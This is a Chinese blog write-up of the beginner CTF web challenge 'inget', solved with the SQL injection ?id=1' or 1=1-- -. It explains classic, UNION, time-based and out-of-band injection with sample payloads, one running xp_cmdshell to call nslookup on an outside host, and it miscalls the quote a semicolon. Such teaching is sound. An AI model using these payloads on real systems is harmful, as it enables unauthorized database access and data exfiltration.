【攻防世界】CTF 网络安全学习180天 之 inget

【攻防世界】inget


作者:冰耿
作者其他详细专栏
CTF系统学习专栏https://blog.csdn.net/bing_geng/category_12496105.html
Python爬虫学习专栏https://blog.csdn.net/bing_geng/category_12494819.html

正文

Please enter ID,and Try to bypass
难度:1
方向:Web,SQL注入
题目描述:无

题干界面

在这里插入图片描述

本人思路

  1. 这个题目的题目描述为无,但在进入了题目界面后,提示了这样子的一句话。
    在这里插入图片描述
    翻译过来就是输入id,且尝试绕过,查看源代码,发现源代码只有这一句话,也没有其他信息。

  2. CTF攻防就是信息的整理和收集,然后把所有细节加起来考虑出方向。

    1. 题目 inget,应该是使用get请求的意识
    2. 而提示的那句话,please enter ID,and try to bypass, 猜测应该是以id作为参数,然后尝试绕过
  3. 下面将是我的思路,以id作为参数然后作为绕过
    1)尝试id=1,会出现什么结果。结果就是无事发生,是老样子
    在这里插入图片描述
    2) 尝试把id的位数输大一点,是不是又长度判断.结果还是老样子。然后我猜想是不是id要爆破?所以我在一个虚拟机一边进行了爆破
    在这里插入图片描述
    3) 关键信息里面还有一个很重要的信息就是绕过。所谓绕过最常见的在web安全里面的就是SQL注入,绕过验证。那什么是SQL注入,下面将举几个例子,简单讲讲SQL注入

    SQL注入是一种利用应用程序对用户输入的处理不当而导致的安全漏洞。攻击者通过在用户输入中插入恶意的SQL代码,从而欺骗应用程序执行非预期的数据库操作。这可能导致数据库泄露、数据篡改或未经授权的访问。

SQL注入的常见类型:
Classic SQL Injection:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';
如果用户输入 admin' OR '1'='1'; -- 作为密码,整个SQL语句变为:

SELECT * FROM users WHERE username = 'admin' AND password = 'admin' OR '1'='1'; --';
效果: 使条件始终为真,绕过身份验证。
Union-Based SQL Injection:

SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admins;
如果用户输入 1 UNION ALL SELECT NULL, NULL, NULL; -- 作为ID,整个SQL语句变为:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT NULL, NULL, NULL; --';
效果: 将两个查询的结果联合起来,通常用于获取额外的信息。
Time-Based Blind SQL Injection:


SELECT * FROM users WHERE username = 'admin' AND password = 'password123' AND IF(1=1, SLEEP(5), 0);
如果用户输入 admin' AND IF(1=2, SLEEP(5), 0); -- 作为密码,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin' AND IF(1=2, SLEEP(5), 0); --';
效果: 利用延时函数,根据应用程序是否延时来判断条件是否为真。
Out-of-Band SQL Injection:

SELECT * FROM users WHERE username = 'admin'; -- HTTP request to attacker-controlled server
如果用户输入 admin'; EXEC xp_cmdshell('nslookup example.com'); -- 作为用户名,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin'; EXEC xp_cmdshell('nslookup example.com'); --';

效果: 利用SQL Server的 xp_cmdshell 执行命令,实现带外数据传输。
防范SQL注入的方法包括使用参数化查询、输入验证和限制数据库用户的权限。开发者应该仔细处理用户输入,确保不会被直接拼接到SQL查询中

4)因此我们尝试使用最容易注入的or,就是下面这个语句
?id=1’ or 1=1-- -

意思:在 id 参数的输入后添加了 or 1=1,其中 1=1 始终为真,注释部分 – - 表示在此之后的所有内容都是注释,不会被执行。(那个分号的作用是关闭原始查询中的字符串,然后插入 or 1=1-- -,如果对分号不太熟悉使用位置,可以多次试验)
效果:使查询条件中至少有一个条件为真,通常用于绕过某些权限控制。
末尾的 – - 是 SQL 中的注释符号,它表示在此之后的所有内容都是注释,不会被执行。这是为了确保恶意注入的部分不会干扰原始查询的执行。

5) 运行界面
在这里插入图片描述

总结

1)较为综合的考察了SQL注入绕过,且提示较其他难度为1的题目较少,是一个学习SQL注入的入门经典例题

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: CTF网络安全大赛理论题库是一个包含各类网络安全相关理论问题的题库。这个题库广泛覆盖了网络安全的各个领域,包括但不限于密码学、漏洞利用、网络协议、逆向工程、Web安全等。 理论题库的设计意在检验参赛者对网络安全的理论知识的了解程度。通过解答这些理论问题,参赛者需要展现对网络安全原理的掌握,并能够灵活运用这些知识来解决实际问题。 对于密码学的题目,参赛者需要了解常见的加密算法,例如对称加密算法(如DES、AES),非对称加密算法(如RSA、ECC),以及哈希函数等。同时,还需要了解不同加密算法的优缺点以及应用场景。 在漏洞利用方面,参赛者需要对常见的漏洞类型有基本的了解,例如缓冲区溢出、SQL注入、XSS攻击等。此外,还需要熟悉漏洞利用的方法和工具,如Metasploit、Nmap等。 对于网络协议题目,参赛者需要熟悉各种常见的网络协议,例如TCP/IP、HTTP、FTP、SMTP等,并且了解这些协议的工作原理、特点以及可能存在的安全风险。 在逆向工程方面,参赛者需要具备基本的汇编语言知识,能够分析和理解二进制文件的结构和功能,并能够根据需求对其进行修改和定制。 Web安全CTF竞赛中一大重要的领域。对于Web安全题目,参赛者需要了解常见的Web漏洞类型,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等,并掌握相应的防御策略和工具使用。 综上所述,CTF网络安全大赛理论题库的目的在于考察参赛者对于网络安全的理论知识和实际应用的掌握程度。这些理论问题的解答能够帮助参赛者更好地理解和应对实际的网络安全挑战。 ### 回答2: CTF网络安全大赛理论题库是为网络安全领域的竞技比赛而准备的一系列理论问题集合。这些问题旨在测试参赛者对于网络安全概念、技术和方法的理解和掌握程度。 题库的内容通常涵盖各个方面的网络安全知识,包括但不限于网络攻防技术、密码学、漏洞利用、逆向工程、数据分析和取证等。参赛者需要将所学知识应用到实际问题中,通过解答问题或完成任务来获取积分。 CTF网络安全大赛理论题库的目的是帮助参赛者提高他们的技能和知识水平。通过解答这些理论问题,参赛者能够巩固自己的理论基础,拓宽自己的技术视野,了解网络安全的最新动态和趋势。 参加CTF网络安全大赛的选手应该在备赛阶段充分熟悉题库中的问题,并通过学习和实践来解决这些问题。题库中的问题涉及的知识领域广泛,所以选手需要有全面的网络安全知识储备和技术实践经验。 总之,CTF网络安全大赛理论题库是参赛者为了更好地参与比赛而应准备的一系列理论问题集合。通过对这些问题的认真研究和解答,参赛者可以提高自己在网络安全领域的技术实力和知识水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值